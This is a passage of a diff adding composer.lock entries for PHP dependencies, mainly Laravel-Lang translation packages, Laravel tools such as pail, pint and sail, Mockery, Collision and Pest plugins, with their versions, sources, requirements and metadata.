"ext-json": "*", + "laravel-lang/publisher": "^15.0 || ^16.4.1", + "php": "^8.1" + }, + "require-dev": { + "dragon-code/support": "^6.15.2", + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/lang": "^14.8 || ^15.14", + "laravel-lang/status-generator": "^2.12", + "phpunit/phpunit": "^10.0 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.3 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\MoonShine\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\MoonShine\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "Translation for MoonShine admin panel", + "keywords": [ + "lang", + "languages", + "laravel", + "moonshine", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/moonshine/issues", + "source": "https://github.com/Laravel-Lang/moonshine/tree/1.9.2" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-05-30T12:11:41+00:00" + }, + { + "name": "laravel-lang/native-country-names", + "version": "1.8.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/native-country-names.git", + "reference": "1d293138e34eb9e914bc4568cdebac2cb0a2eb0e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/native-country-names/zipball/1d293138e34eb9e914bc4568cdebac2cb0a2eb0e", + "reference": "1d293138e34eb9e914bc4568cdebac2cb0a2eb0e", + "shasum": "" + }, + "require": { + "dragon-code/support": "^6.11", + "ext-json": "*", + "illuminate/collections": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "php": "^8.1" + }, + "require-dev": { + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/locale-list": "^1.5", + "pestphp/pest": "^2.0 || ^3.0 || ^4.0", + "punic/punic": "^3.8", + "symfony/console": "^6.0 || ^7.0 || ^8.0", + "symfony/process": "^6.0 || ^7.0 || ^8.0", + "symfony/var-dumper": "^6.0 || ^7.0 || ^8.0", + "vlucas/phpdotenv": "^5.6" + }, + "type": "library", + "autoload": { + "psr-4": { + "LaravelLang\\NativeCountryNames\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "The project contains native translations of country names", + "keywords": [ + "Laravel-lang", + "countries", + "country", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "territories", + "territory", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/native-country-names/issues", + "source": "https://github.com/Laravel-Lang/native-country-names" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T22:01:15+00:00" + }, + { + "name": "laravel-lang/native-currency-names", + "version": "1.10.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/native-currency-names.git", + "reference": "7ebe95a9942bebf6afd61986fa18c82dade3d583" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/native-currency-names/zipball/7ebe95a9942bebf6afd61986fa18c82dade3d583", + "reference": "7ebe95a9942bebf6afd61986fa18c82dade3d583", + "shasum": "" + }, + "require": { + "dragon-code/support": "^6.11", + "ext-json": "*", + "illuminate/collections": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "php": "^8.1" + }, + "require-dev": { + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/locale-list": "^1.2", + "pestphp/pest": "^2.0 || ^3.0 || ^4.0", + "punic/punic": "^3.8", + "symfony/console": "^6.0 || ^7.0", + "symfony/process": "^6.0 || ^7.0", + "symfony/var-dumper": "^6.0 || ^7.0", + "vlucas/phpdotenv": "^5.6" + }, + "type": "library", + "autoload": { + "psr-4": { + "LaravelLang\\NativeCurrencyNames\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "The project contains native translations of currency names", + "keywords": [ + "Laravel-lang", + "currency", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/native-currency-names/issues", + "source": "https://github.com/Laravel-Lang/native-currency-names" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-06-20T16:50:37+00:00" + }, + { + "name": "laravel-lang/native-locale-names", + "version": "2.9.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/native-locale-names.git", + "reference": "e5925182bad34654203a5d93544357ca00a6d9c0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/native-locale-names/zipball/e5925182bad34654203a5d93544357ca00a6d9c0", + "reference": "e5925182bad34654203a5d93544357ca00a6d9c0", + "shasum": "" + }, + "require": { + "dragon-code/support": "^6.11", + "ext-json": "*", + "php": "^8.1" + }, + "require-dev": { + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/locale-list": "^1.2", + "pestphp/pest": "^2.24.3 || ^3.0 || ^4.0", + "punic/punic": "^3.8", + "symfony/console": "^6.0 || ^7.0", + "symfony/process": "^6.0 || ^7.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "LaravelLang\\NativeLocaleNames\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "The project contains native translations of locale names", + "keywords": [ + "Laravel-lang", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "translation", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/native-locale-names/issues", + "source": "https://github.com/Laravel-Lang/native-locale-names" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-06-20T16:52:11+00:00" + }, + { + "name": "laravel-lang/publisher", + "version": "16.8.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/publisher.git", + "reference": "e5d3383f5385c2102f8a0d3dbe488ed86cd0250f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/publisher/zipball/e5d3383f5385c2102f8a0d3dbe488ed86cd0250f", + "reference": "e5d3383f5385c2102f8a0d3dbe488ed86cd0250f", + "shasum": "" + }, + "require": { + "composer/semver": "^3.4", + "dragon-code/pretty-array": "^4.1", + "dragon-code/support": "^6.11.3", + "ext-json": "*", + "illuminate/collections": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/console": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/config": "^1.12", + "laravel-lang/locales": "^2.10", + "league/commonmark": "^2.4.1", + "league/config": "^1.2", + "php": "^8.1" + }, + "conflict": { + "laravel-lang/attributes": "<2.0", + "laravel-lang/http-statuses": "<3.0", + "laravel-lang/lang": "<11.0" + }, + "require-dev": { + "laravel-lang/json-fallback": "^2.2", + "orchestra/testbench": "^8.14 || ^9.0 || ^10.0 || ^11.0", + "phpunit/phpunit": "^10.4.2 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.3.6 || ^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Publisher\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\Publisher\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "Localization publisher for your Laravel application", + "keywords": [ + "Laravel-lang", + "breeze", + "cashier", + "fortify", + "framework", + "i18n", + "jetstream", + "lang", + "languages", + "laravel", + "locale", + "locales", + "localization", + "localizations", + "lpm", + "lumen", + "nova", + "publisher", + "spark", + "trans", + "translation", + "translations", + "validations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/publisher/issues", + "source": "https://github.com/Laravel-Lang/publisher" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T22:56:20+00:00" + }, + { + "name": "laravel-lang/routes", + "version": "1.11.0", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/routes.git", + "reference": "29d7f83f2679f51187aa4e761d73bb4e0d133bf4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/routes/zipball/29d7f83f2679f51187aa4e761d73bb4e0d133bf4", + "reference": "29d7f83f2679f51187aa4e761d73bb4e0d133bf4", + "shasum": "" + }, + "require": { + "codezero/browser-locale": "^3.4", + "dragon-code/support": "^6.13", + "illuminate/config": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/http": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/routing": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "laravel-lang/config": "^1.13", + "laravel-lang/locales": "^2.10", + "php": "^8.1" + }, + "require-dev": { + "orchestra/testbench": "^8.23 || ^9.1 || ^10.0 || ^11.0", + "pestphp/pest": "^2.34 || ^3.0 || ^4.0", + "pestphp/pest-plugin-laravel": "^2.4 || ^3.0 || ^4.0", + "symfony/var-dumper": "^6.0 || ^7.0 || ^8.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\Routes\\ServiceProvider" + ] + } + }, + "autoload": { + "files": [ + "helpers/functions.php" + ], + "psr-4": { + "LaravelLang\\Routes\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + }, + { + "name": "Laravel-Lang Team", + "homepage": "https://github.com/Laravel-Lang" + } + ], + "description": "Easy and fast way to localize routes", + "keywords": [ + "l18n", + "languages", + "laravel", + "localization", + "routes", + "translate", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/routes/issues", + "source": "https://github.com/Laravel-Lang/routes" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T23:06:16+00:00" + }, + { + "name": "laravel-lang/starter-kits", + "version": "1.16.1", + "source": { + "type": "git", + "url": "https://github.com/Laravel-Lang/starter-kits.git", + "reference": "87c00c77bbb73385d0526b35dbe07ea2bbfc32db" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Laravel-Lang/starter-kits/zipball/87c00c77bbb73385d0526b35dbe07ea2bbfc32db", + "reference": "87c00c77bbb73385d0526b35dbe07ea2bbfc32db", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel-lang/publisher": "^16.6", + "php": "^8.1" + }, + "require-dev": { + "laravel-lang/status-generator": "^2.13", + "phpunit/phpunit": "^11.0 || ^12.0", + "symfony/var-dumper": "^7.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "LaravelLang\\StarterKits\\ServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "LaravelLang\\StarterKits\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro" + }, + { + "name": "Laravel Lang Team", + "homepage": "https://laravel-lang.com" + } + ], + "description": "Translations for Laravel Starter Kits", + "keywords": [ + "i18n", + "lang", + "languages", + "laravel", + "starter-kit", + "starter-kits", + "translations" + ], + "support": { + "issues": "https://github.com/Laravel-Lang/starter-kits/issues", + "source": "https://github.com/Laravel-Lang/starter-kits/tree/1.16.1" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-07-16T18:13:26+00:00" + }, + { + "name": "laravel/pail", + "version": "v1.2.7", + "source": { + "type": "git", + "url": "https://github.com/laravel/pail.git", + "reference": "2f7d27dada8effc48b8c424445a69cca7007daaa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/pail/zipball/2f7d27dada8effc48b8c424445a69cca7007daaa", + "reference": "2f7d27dada8effc48b8c424445a69cca7007daaa", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "illuminate/console": "^10.24|^11.0|^12.0|^13.0", + "illuminate/contracts": "^10.24|^11.0|^12.0|^13.0", + "illuminate/log": "^10.24|^11.0|^12.0|^13.0", + "illuminate/process": "^10.24|^11.0|^12.0|^13.0", + "illuminate/support": "^10.24|^11.0|^12.0|^13.0", + "nunomaduro/termwind": "^1.15|^2.0", + "php": "^8.2", + "symfony/console": "^6.0|^7.0|^8.0" + }, + "require-dev": { + "laravel/framework": "^10.24|^11.0|^12.0|^13.0", + "laravel/pint": "^1.13", + "orchestra/testbench-core": "^8.13|^9.17|^10.8|^11.0", + "pestphp/pest": "^2.20|^3.0|^4.0", + "pestphp/pest-plugin-type-coverage": "^2.3|^3.0|^4.0", + "phpstan/phpstan": "^1.12.27", + "symfony/var-dumper": "^6.3|^7.0|^8.0", + "symfony/yaml": "^6.3|^7.0|^8.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Pail\\PailServiceProvider" + ] + }, + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\Pail\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + }, + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "Easily delve into your Laravel application's log files directly from the command line.", + "homepage": "https://github.com/laravel/pail", + "keywords": [ + "dev", + "laravel", + "logs", + "php", + "tail" + ], + "support": { + "issues": "https://github.com/laravel/pail/issues", + "source": "https://github.com/laravel/pail" + }, + "time": "2026-05-20T22:24:57+00:00" + }, + { + "name": "laravel/pint", + "version": "v1.29.3", + "source": { + "type": "git", + "url": "https://github.com/laravel/pint.git", + "reference": "da1d1111a6aa2e082d2a388b194afe1ba0a05d14" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/pint/zipball/da1d1111a6aa2e082d2a388b194afe1ba0a05d14", + "reference": "da1d1111a6aa2e082d2a388b194afe1ba0a05d14", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-mbstring": "*", + "ext-tokenizer": "*", + "ext-xml": "*", + "php": "^8.2.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.95.8", + "illuminate/view": "^12.62.0", + "larastan/larastan": "^3.10.0", + "laravel-zero/framework": "^12.1.0", + "laravel/agent-detector": "^2.0.2", + "mockery/mockery": "^1.6.12", + "nunomaduro/termwind": "^2.4.0", + "pestphp/pest": "^3.8.6" + }, + "bin": [ + "builds/pint" + ], + "type": "project", + "autoload": { + "psr-4": { + "App\\": "app/", + "Database\\Seeders\\": "database/seeders/", + "Database\\Factories\\": "database/factories/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "An opinionated code formatter for PHP.", + "homepage": "https://laravel.com", + "keywords": [ + "dev", + "format", + "formatter", + "lint", + "linter", + "php" + ], + "support": { + "issues": "https://github.com/laravel/pint/issues", + "source": "https://github.com/laravel/pint" + }, + "time": "2026-06-16T15:34:04+00:00" + }, + { + "name": "laravel/sail", + "version": "v1.64.0", + "source": { + "type": "git", + "url": "https://github.com/laravel/sail.git", + "reference": "08cacd3e72d6798df3fa8bd4b5d55d0f7f920625" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/sail/zipball/08cacd3e72d6798df3fa8bd4b5d55d0f7f920625", + "reference": "08cacd3e72d6798df3fa8bd4b5d55d0f7f920625", + "shasum": "" + }, + "require": { + "illuminate/console": "^9.52.16|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^9.52.16|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.52.16|^10.0|^11.0|^12.0|^13.0", + "php": "^8.0", + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/yaml": "^6.0|^7.0|^8.0" + }, + "require-dev": { + "orchestra/testbench": "^7.0|^8.0|^9.0|^10.0|^11.0", + "phpstan/phpstan": "^2.0" + }, + "bin": [ + "bin/sail" + ], + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Sail\\SailServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Laravel\\Sail\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "Docker files for running a basic Laravel application.", + "keywords": [ + "docker", + "laravel" + ], + "support": { + "issues": "https://github.com/laravel/sail/issues", + "source": "https://github.com/laravel/sail" + }, + "time": "2026-07-17T15:09:35+00:00" + }, + { + "name": "mockery/mockery", + "version": "1.6.12", + "source": { + "type": "git", + "url": "https://github.com/mockery/mockery.git", + "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/mockery/mockery/zipball/1f4efdd7d3beafe9807b08156dfcb176d18f1699", + "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699", + "shasum": "" + }, + "require": { + "hamcrest/hamcrest-php": "^2.0.1", + "lib-pcre": ">=7.0", + "php": ">=7.3" + }, + "conflict": { + "phpunit/phpunit": "<8.0" + }, + "require-dev": { + "phpunit/phpunit": "^8.5 || ^9.6.17", + "symplify/easy-coding-standard": "^12.1.14" + }, + "type": "library", + "autoload": { + "files": [ + "library/helpers.php", + "library/Mockery.php" + ], + "psr-4": { + "Mockery\\": "library/Mockery" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Pádraic Brady", + "email": "padraic.brady@gmail.com", + "homepage": "https://github.com/padraic", + "role": "Author" + }, + { + "name": "Dave Marshall", + "email": "dave.marshall@atstsolutions.co.uk", + "homepage": "https://davedevelopment.co.uk", + "role": "Developer" + }, + { + "name": "Nathanael Esayeas", + "email": "nathanael.esayeas@protonmail.com", + "homepage": "https://github.com/ghostwriter", + "role": "Lead Developer" + } + ], + "description": "Mockery is a simple yet flexible PHP mock object framework", + "homepage": "https://github.com/mockery/mockery", + "keywords": [ + "BDD", + "TDD", + "library", + "mock", + "mock objects", + "mockery", + "stub", + "test", + "test double", + "testing" + ], + "support": { + "docs": "https://docs.mockery.io/", + "issues": "https://github.com/mockery/mockery/issues", + "rss": "https://github.com/mockery/mockery/releases.atom", + "security": "https://github.com/mockery/mockery/security/advisories", + "source": "https://github.com/mockery/mockery" + }, + "time": "2024-05-16T03:13:13+00:00" + }, + { + "name": "nunomaduro/collision", + "version": "v8.9.5", + "source": { + "type": "git", + "url": "https://github.com/nunomaduro/collision.git", + "reference": "fb53eacd509a1d303858e2d20cfebf2d630254ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nunomaduro/collision/zipball/fb53eacd509a1d303858e2d20cfebf2d630254ec", + "reference": "fb53eacd509a1d303858e2d20cfebf2d630254ec", + "shasum": "" + }, + "require": { + "filp/whoops": "^2.18.4", + "nunomaduro/termwind": "^2.4.0", + "php": "^8.2.0", + "symfony/console": "^7.4.14 || ^8.1.1" + }, + "conflict": { + "laravel/framework": "<11.48.0 || >=14.0.0", + "phpunit/phpunit": "<11.5.50 || >=14.0.0" + }, + "require-dev": { + "brianium/paratest": "^7.8.5", + "larastan/larastan": "^3.10.0", + "laravel/framework": "^11.48.0 || ^12.56.0 || ^13.20.0", + "laravel/pint": "^1.29.3", + "orchestra/testbench-core": "^9.12.0 || ^10.12.1 || ^11.3.5", + "pestphp/pest": "^3.8.5 || ^4.7.5 || ^5.0.0", + "sebastian/environment": "^7.2.1 || ^8.1.2 || ^9.3.2" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "NunoMaduro\\Collision\\Adapters\\Laravel\\CollisionServiceProvider" + ] + }, + "branch-alias": { + "dev-8.x": "8.x-dev" + } + }, + "autoload": { + "files": [ + "./src/Adapters/Phpunit/Autoload.php" + ], + "psr-4": { + "NunoMaduro\\Collision\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "Cli error handling for console/command-line PHP applications.", + "keywords": [ + "artisan", + "cli", + "command-line", + "console", + "dev", + "error", + "handling", + "laravel", + "laravel-zero", + "php", + "symfony" + ], + "support": { + "issues": "https://github.com/nunomaduro/collision/issues", + "source": "https://github.com/nunomaduro/collision" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://www.patreon.com/nunomaduro", + "type": "patreon" + } + ], + "time": "2026-07-15T19:09:14+00:00" + }, + { + "name": "pestphp/pest", + "version": "v3.8.7", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest.git", + "reference": "f108313b52e8c28dc7121ce34303f817a3790202" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest/zipball/f108313b52e8c28dc7121ce34303f817a3790202", + "reference": "f108313b52e8c28dc7121ce34303f817a3790202", + "shasum": "" + }, + "require": { + "brianium/paratest": "^7.8.5", + "nunomaduro/collision": "^8.9.4", + "nunomaduro/termwind": "^2.4.0", + "pestphp/pest-plugin": "^3.0.0", + "pestphp/pest-plugin-arch": "^3.1.1", + "pestphp/pest-plugin-mutate": "^3.0.5", + "php": "^8.2.0", + "phpunit/phpunit": "^11.5.56" + }, + "conflict": { + "filp/whoops": "<2.16.0", + "phpunit/phpunit": ">11.5.56", + "sebastian/exporter": "<6.0.0", + "webmozart/assert": "<1.11.0" + }, + "require-dev": { + "pestphp/pest-dev-tools": "^3.4.0", + "pestphp/pest-plugin-type-coverage": "^3.6.1", + "symfony/process": "^7.4.13" + }, + "bin": [ + "bin/pest" + ], + "type": "library", + "extra": { + "pest": { + "plugins": [ + "Pest\\Mutate\\Plugins\\Mutate", + "Pest\\Plugins\\Configuration", + "Pest\\Plugins\\Bail", + "Pest\\Plugins\\Cache", + "Pest\\Plugins\\Coverage", + "Pest\\Plugins\\Init", + "Pest\\Plugins\\Environment", + "Pest\\Plugins\\Help", + "Pest\\Plugins\\Memory", + "Pest\\Plugins\\Only", + "Pest\\Plugins\\Printer", + "Pest\\Plugins\\ProcessIsolation", + "Pest\\Plugins\\Profile", + "Pest\\Plugins\\Retry", + "Pest\\Plugins\\Snapshot", + "Pest\\Plugins\\Verbose", + "Pest\\Plugins\\Version", + "Pest\\Plugins\\Parallel" + ] + }, + "phpstan": { + "includes": [ + "extension.neon" + ] + } + }, + "autoload": { + "files": [ + "src/Functions.php", + "src/Pest.php" + ], + "psr-4": { + "Pest\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "The elegant PHP Testing Framework.", + "keywords": [ + "framework", + "pest", + "php", + "test", + "testing", + "unit" + ], + "support": { + "issues": "https://github.com/pestphp/pest/issues", + "source": "https://github.com/pestphp/pest/tree/v3.8.7" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + } + ], + "time": "2026-07-06T17:04:21+00:00" + }, + { + "name": "pestphp/pest-plugin", + "version": "v3.0.0", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin.git", + "reference": "e79b26c65bc11c41093b10150c1341cc5cdbea83" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest-plugin/zipball/e79b26c65bc11c41093b10150c1341cc5cdbea83", + "reference": "e79b26c65bc11c41093b10150c1341cc5cdbea83", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^2.0.0", + "composer-runtime-api": "^2.2.2", + "php": "^8.2" + }, + "conflict": { + "pestphp/pest": "<3.0.0" + }, + "require-dev": { + "composer/composer": "^2.7.9", + "pestphp/pest": "^3.0.0", + "pestphp/pest-dev-tools": "^3.0.0" + }, + "type": "composer-plugin", + "extra": { + "class": "Pest\\Plugin\\Manager" + }, + "autoload": { + "psr-4": { + "Pest\\Plugin\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "The Pest plugin manager", + "keywords": [ + "framework", + "manager", + "pest", + "php", + "plugin", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin/tree/v3.0.0" + }, + "funding": [ + { + "url": "https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=66BYDWAT92N6L", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://www.patreon.com/nunomaduro", + "type": "patreon" + } + ], + "time": "2024-09-08T23:21:41+00:00" + }, + { + "name": "pestphp/pest-plugin-arch", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin-arch.git", + "reference": "db7bd9cb1612b223e16618d85475c6f63b9c8daa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest-plugin-arch/zipball/db7bd9cb1612b223e16618d85475c6f63b9c8daa", + "reference": "db7bd9cb1612b223e16618d85475c6f63b9c8daa", + "shasum": "" + }, + "require": { + "pestphp/pest-plugin": "^3.0.0", + "php": "^8.2", + "ta-tikoma/phpunit-architecture-test": "^0.8.4" + }, + "require-dev": { + "pestphp/pest": "^3.8.1", + "pestphp/pest-dev-tools": "^3.4.0" + }, + "type": "library", + "extra": { + "pest": { + "plugins": [ + "Pest\\Arch\\Plugin" + ] + } + }, + "autoload": { + "files": [ + "src/Autoload.php" + ], + "psr-4": { + "Pest\\Arch\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "The Arch plugin for Pest PHP.", + "keywords": [ + "arch", + "architecture", + "framework", + "pest", + "php", + "plugin", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin-arch/tree/v3.1.1" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + } + ], + "time": "2025-04-16T22:59:48+00:00" + }, + { + "name": "pestphp/pest-plugin-laravel", + "version": "v3.2.0", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin-laravel.git", + "reference": "6801be82fd92b96e82dd72e563e5674b1ce365fc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest-plugin-laravel/zipball/6801be82fd92b96e82dd72e563e5674b1ce365fc", + "reference": "6801be82fd92b96e82dd72e563e5674b1ce365fc", + "shasum": "" + }, + "require": { + "laravel/framework": "^11.39.1|^12.9.2", + "pestphp/pest": "^3.8.2", + "php": "^8.2.0" + }, + "require-dev": { + "laravel/dusk": "^8.2.13|dev-develop", + "orchestra/testbench": "^9.9.0|^10.2.1", + "pestphp/pest-dev-tools": "^3.4.0" + }, + "type": "library", + "extra": { + "pest": { + "plugins": [ + "Pest\\Laravel\\Plugin" + ] + }, + "laravel": { + "providers": [ + "Pest\\Laravel\\PestServiceProvider" + ] + } + }, + "autoload": { + "files": [ + "src/Autoload.php" + ], + "psr-4": { + "Pest\\Laravel\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "The Pest Laravel Plugin", + "keywords": [ + "framework", + "laravel", + "pest", + "php", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin-laravel/tree/v3.2.0" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + } + ], + "time": "2025-04-21T07:40:53+00:00" + }, + { + "name": "pestphp/pest-plugin-mutate", + "version": "v3.0.5", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin-mutate.git", + "reference": "e10dbdc98c9e2f3890095b4fe2144f63a5717e08" + }, + "dist": { + "type": "zip", + "url": 